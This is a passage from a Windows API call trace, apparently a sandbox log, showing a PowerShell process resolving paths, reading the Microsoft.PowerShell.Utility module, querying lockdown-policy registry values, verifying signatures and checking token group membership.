lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0194.039] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0194.039] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0194.813] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0194.814] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0194.814] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0194.814] CoTaskMemAlloc (cb=0x20c) returned 0x1ef704c18f0 [0194.814] GetSystemDirectoryW (in: lpBuffer=0x1ef704c18f0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0194.814] CoTaskMemFree (pv=0x1ef704c18f0) [0194.814] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0194.815] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0194.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4cb00) returned 1 [0194.815] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4cbe0 | out: lpFileInformation=0x5bfed4cbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0194.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4cac0) returned 1 [0194.815] GetSystemInfo (in: lpSystemInfo=0x5bfed4cc50 | out: lpSystemInfo=0x5bfed4cc50*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0194.815] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4cb58 | out: phkResult=0x5bfed4cb58*=0x768) returned 0x0 [0194.815] RegQueryValueExW (in: hKey=0x768, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bfed4cba8, lpData=0x0, lpcbData=0x5bfed4cba0*=0x0 | out: lpType=0x5bfed4cba8*=0x0, lpData=0x0, lpcbData=0x5bfed4cba0*=0x0) returned 0x2 [0194.815] RegCloseKey (hKey=0x768) returned 0x0 [0194.816] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0194.816] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0194.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4cb40) returned 1 [0194.816] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x1ef0052e980 | out: lpFileInformation=0x1ef0052e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0194.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4cb00) returned 1 [0194.821] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0194.821] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0194.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4cab0) returned 1 [0194.822] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4cb90 | out: lpFileInformation=0x5bfed4cb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0194.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4ca70) returned 1 [0194.822] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0194.822] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0194.822] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0194.822] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0194.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4c990) returned 1 [0194.822] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4ca70 | out: lpFileInformation=0x5bfed4ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0194.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4c950) returned 1 [0194.822] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0194.823] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0194.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4c920) returned 1 [0194.823] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0194.823] GetFileType (hFile=0x768) returned 0x1 [0194.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4c890) returned 1 [0194.823] GetFileType (hFile=0x768) returned 0x1 [0194.823] WTGetSignatureInfo () returned 0x0 [0194.906] CertDuplicateCertificateContext (pCertContext=0x1ef7031dff0) returned 0x1ef7031dff0 [0194.906] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4c9b8 | out: phkResult=0x5bfed4c9b8*=0x794) returned 0x0 [0194.906] RegQueryValueExW (in: hKey=0x794, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4ca08, lpData=0x0, lpcbData=0x5bfed4ca00*=0x0 | out: lpType=0x5bfed4ca08*=0x1, lpData=0x0, lpcbData=0x5bfed4ca00*=0x56) returned 0x0 [0194.906] RegQueryValueExW (in: hKey=0x794, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4ca08, lpData=0x1ef0052f058, lpcbData=0x5bfed4ca00*=0x56 | out: lpType=0x5bfed4ca08*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4ca00*=0x56) returned 0x0 [0194.906] RegCloseKey (hKey=0x794) returned 0x0 [0194.906] CoTaskMemAlloc (cb=0x10) returned 0x1ef703a6fb0 [0194.906] CoTaskMemAlloc (cb=0x50) returned 0x1ef7046fe60 [0194.906] WinVerifyTrust () returned 0x0 [0194.908] CoTaskMemFree (pv=0x1ef7046fe60) [0194.908] CoTaskMemFree (pv=0x1ef703a6fb0) [0194.908] CertFreeCertificateContext (pCertContext=0x1ef7031dff0) returned 1 [0194.908] CloseHandle (hObject=0x768) returned 1 [0194.909] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0194.909] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0194.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4ca20) returned 1 [0194.909] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0194.909] GetFileType (hFile=0x768) returned 0x1 [0194.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4c990) returned 1 [0194.909] GetFileType (hFile=0x768) returned 0x1 [0194.909] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x0 [0194.910] ReadFile (in: hFile=0x768, lpBuffer=0x1ef00530198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef00530198*, lpNumberOfBytesRead=0x5bfed4ca68*=0x1000, lpOverlapped=0x0) returned 1 [0194.910] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x1000 [0194.910] ReadFile (in: hFile=0x768, lpBuffer=0x1ef00530198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef00530198*, lpNumberOfBytesRead=0x5bfed4ca68*=0x1000, lpOverlapped=0x0) returned 1 [0194.911] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x2000 [0194.911] ReadFile (in: hFile=0x768, lpBuffer=0x1ef00530198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef00530198*, lpNumberOfBytesRead=0x5bfed4ca68*=0x1000, lpOverlapped=0x0) returned 1 [0194.911] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x3000 [0194.911] ReadFile (in: hFile=0x768, lpBuffer=0x1ef00530198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef00530198*, lpNumberOfBytesRead=0x5bfed4ca68*=0x1000, lpOverlapped=0x0) returned 1 [0194.912] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x4000 [0194.912] ReadFile (in: hFile=0x768, lpBuffer=0x1ef00530198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef00530198*, lpNumberOfBytesRead=0x5bfed4ca68*=0x1000, lpOverlapped=0x0) returned 1 [0194.912] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x5000 [0194.912] ReadFile (in: hFile=0x768, lpBuffer=0x1ef00530198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef00530198*, lpNumberOfBytesRead=0x5bfed4ca68*=0x1000, lpOverlapped=0x0) returned 1 [0194.912] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x6000 [0194.912] ReadFile (in: hFile=0x768, lpBuffer=0x1ef00530198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef00530198*, lpNumberOfBytesRead=0x5bfed4ca68*=0x1000, lpOverlapped=0x0) returned 1 [0194.913] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x7000 [0194.913] ReadFile (in: hFile=0x768, lpBuffer=0x1ef00530198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef00530198*, lpNumberOfBytesRead=0x5bfed4ca68*=0x780, lpOverlapped=0x0) returned 1 [0194.913] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x7780 [0194.913] ReadFile (in: hFile=0x768, lpBuffer=0x1ef0052f880, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef0052f880*, lpNumberOfBytesRead=0x5bfed4ca68*=0x0, lpOverlapped=0x0) returned 1 [0194.913] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4c9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4c9e8*=0) returned 0x7780 [0194.913] ReadFile (in: hFile=0x768, lpBuffer=0x1ef00530198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4ca68, lpOverlapped=0x0 | out: lpBuffer=0x1ef00530198*, lpNumberOfBytesRead=0x5bfed4ca68*=0x0, lpOverlapped=0x0) returned 1 [0194.915] CoTaskMemAlloc (cb=0x20c) returned 0x1ef704c18f0 [0194.915] GetSystemDirectoryW (in: lpBuffer=0x1ef704c18f0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0194.915] CoTaskMemFree (pv=0x1ef704c18f0) [0194.915] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0194.915] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0194.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4c970) returned 1 [0194.915] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4ca50 | out: lpFileInformation=0x5bfed4ca50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0194.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4c930) returned 1 [0194.915] GetSystemInfo (in: lpSystemInfo=0x5bfed4cac0 | out: lpSystemInfo=0x5bfed4cac0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0194.915] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4c9c8 | out: phkResult=0x5bfed4c9c8*=0x76c) returned 0x0 [0194.916] RegQueryValueExW (in: hKey=0x76c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bfed4ca18, lpData=0x0, lpcbData=0x5bfed4ca10*=0x0 | out: lpType=0x5bfed4ca18*=0x0, lpData=0x0, lpcbData=0x5bfed4ca10*=0x0) returned 0x2 [0194.916] RegCloseKey (hKey=0x76c) returned 0x0 [0194.916] CloseHandle (hObject=0x768) returned 1 [0195.258] CoCreateGuid (in: pguid=0x5bfed4cc28 | out: pguid=0x5bfed4cc28*(Data1=0xe7a21b19, Data2=0x1dcc, Data3=0x4ba5, Data4=([0]=0xb1, [1]=0x8c, [2]=0x94, [3]=0x45, [4]=0x71, [5]=0xe8, [6]=0xaa, [7]=0xed))) returned 0x0 [0195.258] GetCurrentProcess () returned 0xffffffffffffffff [0195.258] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4cb78 | out: TokenHandle=0x5bfed4cb78*=0x768) returned 1 [0195.259] GetTokenInformation (in: TokenHandle=0x768, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5bfed4cc08 | out: TokenInformation=0x0, ReturnLength=0x5bfed4cc08) returned 0 [0195.259] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1ef70297930 [0195.259] GetTokenInformation (in: TokenHandle=0x768, TokenInformationClass=0x8, TokenInformation=0x1ef70297930, TokenInformationLength=0x4, ReturnLength=0x5bfed4cc08 | out: TokenInformation=0x1ef70297930, ReturnLength=0x5bfed4cc08) returned 1 [0195.259] LocalFree (hMem=0x1ef70297930) returned 0x0 [0195.259] DuplicateTokenEx (in: hExistingToken=0x768, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x5bfed4cc68 | out: phNewToken=0x5bfed4cc68*=0x76c) returned 1 [0195.259] CheckTokenMembership (in: TokenHandle=0x76c, SidToCheck=0x1ef004c2c70*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x5bfed4cc70 | out: IsMember=0x5bfed4cc70) returned 1 [0195.259] CloseHandle (hObject=0x76c) returned 1 [0195.264] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfed4c858 | out: lpPerformanceCount=0x5bfed4c858*=29125188360) returned 1 [0195.264] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0195.264] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0195.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4c6d0) returned 1 [0195.264] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4c7b0 | out: lpFileInformation=0x5bfed4c7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0195.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4c690) returned 1 [0195.264] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0195.264] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0195.264] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: 